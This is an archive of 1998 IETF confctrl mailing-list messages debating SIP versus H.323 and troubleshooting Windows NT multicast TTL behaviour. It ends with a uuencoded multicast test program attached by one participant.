From confctrl-owner  Mon Nov  9 09:30:42 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA29424
	for confctrl-outgoing; Mon, 9 Nov 1998 09:30:42 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA29412
	for <confctrl@zephyr.isi.edu>; Mon, 9 Nov 1998 09:30:40 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA17923;
	Mon, 9 Nov 1998 09:30:34 -0800 (PST)
Received: from lynn.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.07446-0@bells.cs.ucl.ac.uk>; Mon, 9 Nov 1998 17:27:55 +0000
To: Mark Handley <mjh@ISI.EDU>
cc: Christian Huitema <huitema@bellcore.com>,
        Alok Mittal <amittal@hss.hns.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>, P.Kirstein@cs.ucl.ac.uk
Subject: Re: What is the view towards H.323?
In-reply-to: Your message of "Mon, 09 Nov 1998 10:58:24 EST." <11806.910627104@north.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-ID: <1645.910632474.1@cs.ucl.ac.uk>
Date: Mon, 09 Nov 1998 17:27:55 +0100
Message-ID: <1646.910632475@cs.ucl.ac.uk>
From: Peter KIRSTEIN <P.Kirstein@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In message <11806.910627104@north.lcs.mit.edu>you write:
>
>>5. SIP will be published any time soon.  That really means, in 6 month,
>>   in a year, in 5 years, we will still hear that SIP will be published
>>   any time soon...
>
>Sigh.  
>
>The current status is we're awaiting final comments from the ADs.
>Henning has been making minor fixes and clarifications as we've got
>the comments.  There'll be a final draft reflecting the last call
>comments when we get the last of those comments - probably this week.
>Then the IESG get to vote on it.
>
>I would hope we'll have an RFC in a month.  I don't know of anything
>we can do to speed up the process at this stage.
>
>Mark

I hope that the SAP  will get to the IESG also!

Peter









Peter

X*********************************************************************X
* Prof Peter Kirstein		   Telephone:  +44 171 380 7286	
* Department of Computer Science   Fax:        +44 171 387 1397
* University College London        Telex:      28722
* Gower Street                     Internet:   kirstein@cs.ucl.ac.uk
* London 
* WC1E 6BT                      
* U.K			URL    : http://www.cs.ucl.ac.uk/staff/kirstein
X*********************************************************************X


From confctrl-owner  Mon Nov  9 09:41:46 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA00204
	for confctrl-outgoing; Mon, 9 Nov 1998 09:41:46 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA00199
	for <confctrl@zephyr.isi.edu>; Mon, 9 Nov 1998 09:41:45 -0800 (PST)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA18741
	for <confctrl@ISI.EDU>; Mon, 9 Nov 1998 09:41:40 -0800 (PST)
Received: from omta1.mcit.com (omta1.mcit.com [166.37.204.2])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id MAA21595; Mon, 9 Nov 1998 12:41:08 -0500 (EST)
Received: from sinnreich2 ([166.35.227.240]) by omta1.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19981109174107.BWZW9982@sinnreich2>;
          Mon, 9 Nov 1998 11:41:07 -0600
From: "Henry Sinnreich" <henry.sinnreich@mci.com>
To: "Alok Mittal" <amittal@hss.hns.com>, <confctrl@ISI.EDU>
Subject: RE: What is the view towards H.323?
Date: Mon, 9 Nov 1998 11:40:54 -0600
Message-ID: <000201be0c08$1994b3c0$f0e323a6@sinnreich2.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0
In-reply-to: <01BE0BF4.865F4970@hss056.hss.hns.com>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Alok wrote,
> 1. SIP has conceded to H.323

We are implementing SIP in a test network with several vendors.

> 2. SIP and H.323 will converge, probably in H.323v3

Does it mean H.323 may not be compliant any more with other H.3xx standards?
Am not sure.

> 3. SIP and H.323 interoperate -- Session Initiation in SIP and
> then H.323 takes over

Definitely yes, know of several implementations.

> 4. Interworking Gateways for SIP and H.323 -- here, however I
> have not seen
>     an argument which says *where* SIP makes more sense than
> H.323 and vice
>     versa (if one was absolutely better than the other, there
> wouldn't be a need for GW).

There have been many presentations on this topic at www.pulver.com and
elsewhere, but as you mention, we need not burden this list.

Henry


From confctrl-owner  Mon Nov  9 10:34:42 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA02982
	for confctrl-outgoing; Mon, 9 Nov 1998 10:34:42 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA02977
	for <confctrl@zephyr.isi.edu>; Mon, 9 Nov 1998 10:34:40 -0800 (PST)
Received: from ganymede.or.intel.com (ganymede.or.intel.com [134.134.248.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA24344
	for <confctrl@ISI.EDU>; Mon, 9 Nov 1998 10:34:38 -0800 (PST)
Received: from ideal.jf.intel.com (ideal.jf.intel.com [134.134.130.5])
	by ganymede.or.intel.com (8.8.6/8.8.5) with ESMTP id SAA21060;
	Mon, 9 Nov 1998 18:34:31 GMT
Received: from jetoga.intel.com (toshibaw95.jf.intel.com [134.134.153.207])
          by ideal.jf.intel.com (8.9.0/8.9.0) with SMTP
	  id KAA16048; Mon, 9 Nov 1998 10:23:44 -0800 (PST)
Message-Id: <3.0.5.32.19981109103428.008a6be0@ibeam.intel.com>
X-Sender: jtoga@ibeam.intel.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Mon, 09 Nov 1998 10:34:28 -0800
To: confctrl@ISI.EDU
From: Jim Toga <jim.toga@intel.com>
Subject: RE: What is the view towards H.323?
Cc: "Henry Sinnreich" <henry.sinnreich@mci.com>
In-Reply-To: <000201be0c08$1994b3c0$f0e323a6@sinnreich2.mcit.com>
References: <01BE0BF4.865F4970@hss056.hss.hns.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 11:40 AM 11/9/98 -0600, you wrote:
>Alok wrote,
>> 1. SIP has conceded to H.323
>
>We are implementing SIP in a test network with several vendors.

When will we see any commercially deployed networks? Presumably after the
specification is published.....

>
>> 2. SIP and H.323 will converge, probably in H.323v3
>
>Does it mean H.323 may not be compliant any more with other H.3xx standards?
>Am not sure.

It _will_ be compliant.  H.323 will always be compatible with previous
versions.  It is part of the base requirements in ITU specifications.
Obviously, older versions may not be able to take advantage of new
features.  Users and purchasers of products will not (and have not) be left
with inoperable code. 
  
>
>> 3. SIP and H.323 interoperate -- Session Initiation in SIP and
>> then H.323 takes over
>
>Definitely yes, know of several implementations.

Whose?  I'd be interesting in hearing more about this....

>
>> 4. Interworking Gateways for SIP and H.323 -- here, however I
>> have not seen
>>     an argument which says *where* SIP makes more sense than
>> H.323 and vice
>>     versa (if one was absolutely better than the other, there
>> wouldn't be a need for GW).
>
>There have been many presentations on this topic at www.pulver.com and
>elsewhere, but as you mention, we need not burden this list.

Presentations are cheap.  Where is the market or business presence?  For
that matter were is the technical justification? There are commercial
products that Gateway H.323 to POTS/ISDN/H.320 (among others) from a large
number vendors that are currently shipping those products.

>
>Henry
>
>

*****************************************************
***  +1-503-264-8816(voice)              Intel - Hillsboro, OR.
    *** 
***  mailto:jim.toga@intel.com         mailto:james.toga@ties.itu.int *** 
***  PGP keyID 36 07 86 49 7D 74 DF 57  50 CB BA 32 08 9C 7C 41 ***
*****************************************************

From confctrl-owner  Mon Nov  9 23:10:05 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA28483
	for confctrl-outgoing; Mon, 9 Nov 1998 23:10:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA28477
	for <confctrl@zephyr.isi.edu>; Mon, 9 Nov 1998 23:10:03 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id XAA10333
	for <confctrl@isi.edu>; Mon, 9 Nov 1998 23:10:01 -0800 (PST)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Tue Nov 10 02:08:24 EST 1998
Received: from dnrc.bell-labs.com ([135.17.200.55])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id CAA21272
	for <confctrl@isi.edu>; Tue, 10 Nov 1998 02:08:23 -0500 (EST)
Message-ID: <3647E5FE.647DC188@dnrc.bell-labs.com>
Date: Tue, 10 Nov 1998 02:06:38 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: TTL of zero in WinNT?
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Has anyone had any experience with sending multicast packets with a TTL
of 0 under WinNT? We are getting the bizarre result that Windows sets
the TTL to zero, but sends the packets anyway.. We kind of need this for
all of these conference bus schemes.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Nov 10 03:45:44 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA06324
	for confctrl-outgoing; Tue, 10 Nov 1998 03:45:44 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA06319
	for <confctrl@zephyr.isi.edu>; Tue, 10 Nov 1998 03:45:41 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id DAA18895
	for <confctrl@ISI.EDU>; Tue, 10 Nov 1998 03:45:40 -0800 (PST)
Received: from eucharisto.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.12467-0@bells.cs.ucl.ac.uk>; Tue, 10 Nov 1998 11:45:18 +0000
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
cc: confctrl@ISI.EDU
Subject: Re: TTL of zero in WinNT?
In-reply-to: Your message of "Tue, 10 Nov 1998 02:06:38 EST." <3647E5FE.647DC188@dnrc.bell-labs.com>
Date: Tue, 10 Nov 1998 11:45:17 +0100
Message-ID: <1198.910698317@cs.ucl.ac.uk>
From: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Jonathan Rosenberg writes:
>Has anyone had any experience with sending multicast packets with a TTL
>of 0 under WinNT? We are getting the bizarre result that Windows sets
>the TTL to zero, but sends the packets anyway.. We kind of need this for
>all of these conference bus schemes.

I'm seeing the same problem -- WinNT 4.0 with service pack 4 installed. 

Colin

From confctrl-owner  Tue Nov 10 04:33:58 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA07665
	for confctrl-outgoing; Tue, 10 Nov 1998 04:33:58 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA07660
	for <confctrl@zephyr.isi.edu>; Tue, 10 Nov 1998 04:33:55 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id EAA19675
	for <confctrl@ISI.EDU>; Tue, 10 Nov 1998 04:33:51 -0800 (PST)
Received: from hocus.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.15643-0@bells.cs.ucl.ac.uk>; Tue, 10 Nov 1998 12:33:05 +0000
To: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
cc: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>, confctrl@ISI.EDU
Subject: Re: TTL of zero in WinNT?
In-reply-to: Your message of "Tue, 10 Nov 1998 11:45:17 +0100." <1198.910698317@cs.ucl.ac.uk>
Date: Tue, 10 Nov 1998 12:33:01 +0100
Message-ID: <3060.910701181@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


In message <1198.910698317@cs.ucl.ac.uk>, Colin Perkins typed:

 >>--> Jonathan Rosenberg writes:
 >>>Has anyone had any experience with sending multicast packets with a TTL
 >>>of 0 under WinNT? We are getting the bizarre result that Windows sets
 >>>the TTL to zero, but sends the packets anyway.. We kind of need this for
 >>>all of these conference bus schemes.

 >>I'm seeing the same problem -- WinNT 4.0 with service pack 4 installed. 

Colin

hypothesis - some smart NT soft-person uses loopback in a link level driver to
loop multicast packets, instead of havign a general abstraction of
loopback drivers, then forgets that by the time they get to the
link/mac level they cannot check the TTL, so they see a multicast
packet, loop it back, but send it on the wire with TTL=0

oops

"Captain"...
"Yes, Chekov"

"Captain, I think we can see the phasor bank multicast bus
control messages from those Klingon wessels"

"Chekov,, I thin you've got it - can we launch an attack now Spock?"
"There is a probability of 99.987% success against the entire klignon
fleet, if we use sdr version
11.3a2, Captain, and set the field strenght TTL to warp factor 255"

"OK, Chekov, you heard the man. Scotty, give us all the SNMP you've
got..."

"Captain, I think we can now truly say
NT wessels make the most noise"

"Spock, have that man tied to the first photon torpedoe...."


j.
this wouldn't hapen in a millenium of halloweens with linux:-)

From confctrl-owner  Tue Nov 10 11:57:12 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA29763
	for confctrl-outgoing; Tue, 10 Nov 1998 11:57:12 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA29758
	for <confctrl@zephyr.isi.edu>; Tue, 10 Nov 1998 11:57:10 -0800 (PST)
Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.124])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA11045
	for <confctrl@ISI.EDU>; Tue, 10 Nov 1998 11:57:09 -0800 (PST)
Received: by mail2.microsoft.com with Internet Mail Service (5.5.2232.9)
	id <WMKTT28H>; Tue, 10 Nov 1998 11:56:38 -0800
Message-ID: <ED7E7104F236D11190D800805FFE89950A2D1F24@RED-MSG-49>
From: Amritansh Raghav <amritanr@MICROSOFT.com>
To: "'Jon Crowcroft'" <J.Crowcroft@cs.ucl.ac.uk>,
        Colin Perkins
	 <C.Perkins@cs.ucl.ac.uk>
Cc: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>, confctrl@ISI.EDU
Subject: RE: TTL of zero in WinNT?
Date: Tue, 10 Nov 1998 11:56:35 -0800
X-Mailer: Internet Mail Service (5.5.2232.9)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



> -----Original Message-----
> From: Jon Crowcroft [mailto:J.Crowcroft@cs.ucl.ac.uk]
> 
> In message <1198.910698317@cs.ucl.ac.uk>, Colin Perkins typed:
> 
>  >>--> Jonathan Rosenberg writes:
>  >>>Has anyone had any experience with sending multicast 
> packets with a TTL
>  >>>of 0 under WinNT? We are getting the bizarre result that 
> Windows sets
>  >>>the TTL to zero, but sends the packets anyway.. We kind 
> of need this for
>  >>>all of these conference bus schemes.
> 
>  >>I'm seeing the same problem -- WinNT 4.0 with service pack 
> 4 installed. 
> 
> Colin
> 
> hypothesis - some smart NT soft-person uses loopback in a 
> link level driver to
> loop multicast packets, instead of havign a general abstraction of
> loopback drivers, then forgets that by the time they get to the
> link/mac level they cannot check the TTL, so they see a multicast
> packet, loop it back, but send it on the wire with TTL=0
> 
> oops

and, as usual, you would be wrong.

anyways - i just tried this and NT defaults to a ttl of 1 if you dont
setsockopt IP_MULTICAST_TTL, otherwise sets the ttl to the value passed for
the socket option (and will accept 0).

i used a small test program (attached, quick cut and paste from someone
elses test)which sends UDP packets. seems to work as expected on NT4 SP4.
If you can send me more info as to what exactly the program is doing, i
would be glad to look at it.

> 
> j.
> this wouldn't hapen in a millenium of halloweens with linux:-)
> 

once it runs a fully multithreaded kernel with fine grain locking on an mp
alpha...



begin 600 test.c
M+RHK*PT*#0I#;W!Y<FEG:'0@*&,I#0H-"DUO9'5L92!.86UE.@T*#0H-"D%B
M<W1R86-T.@T*#0H@("`@<V5N9',@86YD(')E8V5I=F5S($E0(&UU;'1I8V%S
M="!D871A9W)A;7,-"@T*#0I!=71H;W(Z#0H-"@T*16YV:7)O;FUE;G0Z#0H-
M"@T*4F5V:7-I;VX@2&ES=&]R>3H-"@T*#0HM+2HO#0H-"B-I;F-L=61E(#QW
M:6YS;V-K,BYH/@T*(VEN8VQU9&4@/'=S,G1C<&EP+F@^#0HC:6YC;'5D92`\
M<W1D:6\N:#X-"B-I;F-L=61E(#QS=&1L:6(N:#X-"B-I;F-L=61E(#QM96UO
M<GDN:#X-"@T*:6YT#0I?8V1E8VP@#0IM86EN*`T*("`@(&EN="!A<F=C+"`-
M"B`@("!C:&%R("IA<F=V6UT-"B`@("`I#0H-"GL-"@T*("`@($Q/3D<@("`@
M("`@(%)E=$-O9&4@/2`P.PT*("`@(%=3041!5$$@("`@('=S841A=&$[#0H@
M("`@4T]#2T54("`@("`@<V]C:RP@;F5W7W-O8VL@/2`P.PT*("`@('-T<G5C
M="`@("`@('-O8VMA9&1R7VEN('-O8VM?861D<BP@9'-T7W-O8VM?861D<BP@
M;F5W7W-O8VM?861D<CL-"B`@("!)3E0@("`@("`@("!D<W1?<V]C:U]A9&1R
M7VQE;BP@;F5W7W-O8VM?861D<E]L96X[#0H@("`@24Y4("`@("`@("`@<&]R
M=#L-"B`@("!)3E0@("`@("`@("!D871A.PT*("`@($Q/3D<@("`@("`@(&-N
M=#L-"B`@("!,3TY'("`@("`@("!)=&5R871I;VYS.PT*("`@($Q/3D<@("`@
M("`@(&)Y=&5S.PT*("`@($173U)$("`@("`@('1T;#L-"B`@("!#2$%2($9!
M4B`@("`J8G5F.PT*("`@('-T<G5C="`@("`@(&EN7V%D9'(@34-A<W1!9&1R
M.PT*("`@('-T<G5C="`@("`@(&EP7VUR97$@;7)E<3L-"B`@("!I;G0@("`@
M("`@("!N3VYE(#T@,3L-"@T*("`@(&EF("AA<F=C/#<I#0H@("`@>PT*("`@
M("`@("!P<FEN=&8H(EQN57-A9V4Z($E'35`@/%-E;F0O4F5C96EV93X@/$QO
M8V%L($EN=&5R9F%C93X@/$E'35`@375L=&EC87-T(@T*("`@("`@("`@("`@
M("`@(B!!9&1R97-S/B`\5%1,/B`\4&]R=#X@/&1A=&$@<VEZ93X@/$ET97)A
M=&EO;G,^(BD[#0H@("`@("`@(&5X:70H,2D[#0H@("`@?0T*#0H-"B`@("!T
M=&P@(#T@871O:2`H87)G=ELT72D[#0H@("`@<&]R="`](&%T;VD@*&%R9W9;
M-5TI.PT*("`@(&1A=&$@/2!A=&]I("AA<F=V6S9=*3L-"@T*("`@($ET97)A
M=&EO;G,@/2!A=&]I*&%R9W9;-UTI.PT*#0H@("`@8G5F(#T@*&-H87(@*BD@
M;6%L;&]C("AD871A("H@<VEZ96]F*"!#2$%2("D@*R`Q("D[#0H-"B`@("!2
M971#;V1E(#T@5U-!4W1A<G1U<"A-04M%5T]21"`H,BPR*2P@)G=S841A=&$I
M.PT*#0H@("`@:68@*%)E=$-O9&4@(3T@,"D-"B`@("![#0H@("`@("`@('!R
M:6YT9B`H(EQN17)R;W(@:6X@1$Q,(&EN:71I86QI>F%T:6]N("5D(BP@4F5T
M0V]D92D[#0H@("`@("`@(')E='5R;B`H,2D[#0H@("`@?0T*#0H-"B`@("`O
M+PT*("`@("\O($-R96%T:6YG(%5D<"!3;V-K970-"B`@("`O+PT*#0H@("`@
M:68@*"`H('-O8VL@/2!S;V-K970H($%&7TE.150L(%-/0TM?1$=204TL(#`@
M*2`I(#T]($E.5D%,241?4T]#2T54("D-"B`@("![#0H@("`@("`@('!R:6YT
M9B`H(EQN17)R;W(@8W)E871I;F<@<V]C:V5T("T@)60B+"!74T%'971,87-T
M17)R;W(H*2D[#0H-"B`@("`@("`@<F5T=7)N("@Q*3L-"B`@("!]#0H-"@T*
M("`@('-W:71C:"`H87)G=ELQ75LP72D-"B`@("![#0H@("`@("`@(&-A<V4@
M*"=3)RDZ#0H@("`@("`@(&-A<V4@*"=S)RDZ#0H@("`@("`@("`@("!S;V-K
M7V%D9'(N<VEN7V9A;6EL>2`]($%&7TE.150[#0H@("`@("`@("`@("!S;V-K
M7V%D9'(N<VEN7V%D9'(N<U]A9&1R(#T@:6YE=%]A9&1R*&%R9W9;,ETI.PT*
M("`@("`@("`@("`@<V]C:U]A9&1R+G-I;E]P;W)T(#T@,#L-"@T*("`@("`@
M("`@("`@:68@*"!S971S;V-K;W!T*"!S;V-K+`T*("`@("`@("`@("`@("`@
M("`@("`@("`@("`@("!33TQ?4T]#2T54+"\O25!04D]43U])4"P-"B`@("`@
M("`@("`@("`@("`@("`@("`@("`@("`@4T]?4D554T5!1$12+`T*("`@("`@
M("`@("`@("`@("`@("`@("`@("`@("`H8VAA<B`J*2`F;D]N92P-"B`@("`@
M("`@("`@("`@("`@("`@("`@("`@("`@<VEZ96]F*&Y/;F4I("D@*0T*("`@
M("`@("`@("`@>PT*("`@("`@("`@("`@("`@('!R:6YT9B@@(EQN17)R;W(@
M)60@871T96UP=&EN9R!T;R!S971S;V-K;W!T(%-/7U)%55-%041$4EQN(BP@
M5U-!1V5T3&%S=$5R<F]R*"D@*3L-"@T*("`@("`@("`@("`@("`@("\O97AI
M="@@,2`I.PT*("`@("`@("`@("`@?0T*#0H-"B`@("`@("`@("`@("\O#0H@
M("`@("`@("`@("`O+R!":6YD:6YG('1H92!S;V-K970@=&\@=&AE(&%D9')E
M<W,-"B`@("`@("`@("`@("\O#0H-"B`@("`@("`@("`@(&EF("AB:6YD*'-O
M8VLL("A,4%-/0TM!1$12*2`F<V]C:U]A9&1R+"!S:7IE;V8H<V]C:U]A9&1R
M*2D]/5-/0TM%5%]%4E)/4BD-"B`@("`@("`@("`@('L-"B`@("`@("`@("`@
M("`@("!P<FEN=&8@*")<;D5R<F]R(&EN(&)I;F1I;F<@=&AE('-O8VME="`M
M("5D(BP@5U-!1V5T3&%S=$5R<F]R*"DI.PT*("`@("`@("`@("`@("`@(')E
M='5R;B@Q*3L-"B`@("`@("`@("`@('T-"@T*("`@("`@("`@("`@+R\-"B`@
M("`@("`@("`@("\O(%-E='1I;F<@4V]C:V5T(&]P=&EO;G,-"B`@("`@("`@
M("`@("\O#0H-"B-I9B`P#0H@("`@("`@("`@("`O+PT*("`@("`@("`@("`@
M+R\@4V5T=&EN9R!/<'1I;VX@=&\@<V5T(%143`T*("`@("`@("`@("`@+R\-
M"@T*("`@("`@("`@("`@:68@*'-E='-O8VMO<'0H<V]C:RP@25!04D]43U])
M4"P@25!?355,5$E#05-47U143"P-"B`@("`@("`@("`@("`@("`@("`@("`@
M("`@("AC:&%R("HI("9T=&PL('-I>F5O9BAT=&PI*3T]+3$I#0H@("`@("`@
M("`@("![#0H@("`@("`@("`@("`@("`@<')I;G1F*")<;E=A<FYI;F<Z($-O
M=6QD(&YO="!S970@5%1,("T@)60B+"!74T%'971,87-T17)R;W(H*2D[#0H@
M("`@("`@("`@("!]#0H-"B-E;F1I9@T*#0H@("`@("`@("`@("`O+PT*("`@
M("`@("`@("`@+R\@4V5T($UU;'1I8V%S="!A9&1R97-S#0H@("`@("`@("`@
M("`O+PT*#0H@("`@("`@("`@("!-0V%S=$%D9'(N<U]A9&1R(#T@:6YE=%]A
M9&1R*&%R9W9;,ETI.PT*#0H@("`@("`@("`@("`O+PT*("`@("`@("`@("`@
M+R\@4V5T=&EN9R!$969A=6QT(&UU;'1I8V%S="!I;G1E<F9A8V4-"B`@("`@
M("`@("`@("\O#0H-"B`@("`@("`@("`@(&EF("AS971S;V-K;W!T*'-O8VLL
M($E04%)/5$]?25`L($E07TU53%1)0T%35%])1BP-"B`@("`@("`@("`@("`@
M("`@("`@("`@("`@("AC:&%R("HI("9-0V%S=$%D9'(L('-I>F5O9BAS=')U
M8W0@:6Y?861D<BDI/3TM,2D-"B`@("`@("`@("`@('L-"B`@("`@("`@("`@
M("`@("!P<FEN=&8H(EQN5V%R;FEN9SH@0V]U;&0@;F]T('-E="!$969A=6QT
M($U#87-T($EN=&5R9F%C92`M("5D(BP-"B`@("`@("`@("`@("`@("`@("`@
M("`@5U-!1V5T3&%S=$5R<F]R*"DI.PT*("`@("`@("`@("`@?0T*#0H-"B`@
M("`@("`@("`@(&1S=%]S;V-K7V%D9'(N<VEN7V9A;6EL>2`@("`@(#T@049?
M24Y%5#L-"B`@("`@("`@("`@(&1S=%]S;V-K7V%D9'(N<VEN7V%D9'(N<U]A
M9&1R(#T@:6YE=%]A9&1R*&%R9W9;,UTI.PT*("`@("`@("`@("`@9'-T7W-O
M8VM?861D<BYS:6Y?<&]R="`@("`@("`@/2!N=&]H<R@H=5]S:&]R="EP;W)T
M*3L-"@T*("`@("`@("`@("`@9F]R("AC;G0],#L@8VYT/&1A=&$[(&-N="LK
M*0T*("`@("`@("`@("`@>PT*("`@("`@("`@("`@("`@(&)U9EMC;G1=(#T@
M*&-N="`E(#(V*2LV-3L-"B`@("`@("`@("`@('T-"@T*("`@("`@("`@("`@
M8G5F6V1A=&%=/2=<,"<[("`@("`O+R!.54Q,(%1E<FUI;F%T92!T:&4@8G5F
M9F5R*S$-"@T*#0H@("`@("`@("`@("!F;W(@*&-N=#TP.R!C;G0\271E<F%T
M:6]N<SL@8VYT*RLI#0H@("`@("`@("`@("![#0H@("`@("`@("`@("`@("`@
M<')I;G1F*")396YD:6YG($1A=&%G<F%M.B`E9"5C(BP@8VYT*S$L(#$S*3L-
M"@T*("`@("`@("`@("`@("`@(&EF("AS96YD=&\H<V]C:RP@8G5F+"!S=')L
M96XH8G5F*2P@35-'7T1/3E123U5412P-"B`@("`@("`@("`@("`@("`@("`@
M("`@("`@("A,4%-/0TM!1$12*2`F9'-T7W-O8VM?861D<BP-"B`@("`@("`@
M("`@("`@("`@("`@("`@("`@('-I>F5O9BAD<W1?<V]C:U]A9&1R*2D]/4E.
M5D%,241?4T]#2T54*0T*("`@("`@("`@("`@("`@('L-"B`@("`@("`@("`@
M("`@("`@("`@<')I;G1F("@B7&Y%<G)O<B!I;B!396YD:6YG(&1A=&$@;VX@
M=&AE('-O8VME="`M("5D(BP-"B`@("`@("`@("`@("`@("`@("`@("`@("`@
M("!74T%'971,87-T17)R;W(H*2D[#0H-"B`@("`@("`@("`@("`@("`@("`@
M<F5T=7)N*#$I.PT*("`@("`@("`@("`@("`@('T-"B`@("`@("`@("`@('T-
M"@T*("`@("`@("`@("`@8G)E86L[#0H-"B`@("`@("`@8V%S92`H)U(G*3H-
M"B`@("`@("`@8V%S92`H)W(G*3H-"B`@("`@("`@("`@('-O8VM?861D<BYS
M:6Y?9F%M:6QY(#T@049?24Y%5#L-"B`@("`@("`@("`@('-O8VM?861D<BYS
M:6Y?861D<BYS7V%D9'(@/2!I;F5T7V%D9'(H87)G=ELR72D[#0H@("`@("`@
M("`@("!S;V-K7V%D9'(N<VEN7W!O<G0@/2!N=&]H<R@H=5]S:&]R="EP;W)T
M*3L-"@T*("`@("`@("`@("`@+R\-"B`@("`@("`@("`@("\O($%L;&]W('1H
M92!S;V-K970@=&\@8F4@8F]U;F0@=&\@86X@861D<F5S<R!T:&%T(&ES(&%L
M<F5A9'D@:6X@=7-E#0H@("`@("`@("`@("`O+PT*#0H@("`@("`@("`@("!I
M9B`H('-E='-O8VMO<'0H('-O8VLL#0H@("`@("`@("`@("`@("`@("`@("`@
M("`@("`@(%-/3%]33T-+150L#0H@("`@("`@("`@("`@("`@("`@("`@("`@
M("`@(%-/7U)%55-%041$4BP-"B`@("`@("`@("`@("`@("`@("`@("`@("`@
M("`@*&-H87(@*BD@)FY/;F4L#0H@("`@("`@("`@("`@("`@("`@("`@("`@
M("`@('-I>F5O9BAN3VYE*2`I("D-"B`@("`@("`@("`@('L-"B`@("`@("`@
M("`@("`@("!P<FEN=&8H(")<;D5R<F]R("5D(&%T=&5M<'1I;F<@=&\@<V5T
M<V]C:V]P="!33U]2155314%$1%)<;B(L(%=304=E=$QA<W1%<G)O<B@I("D[
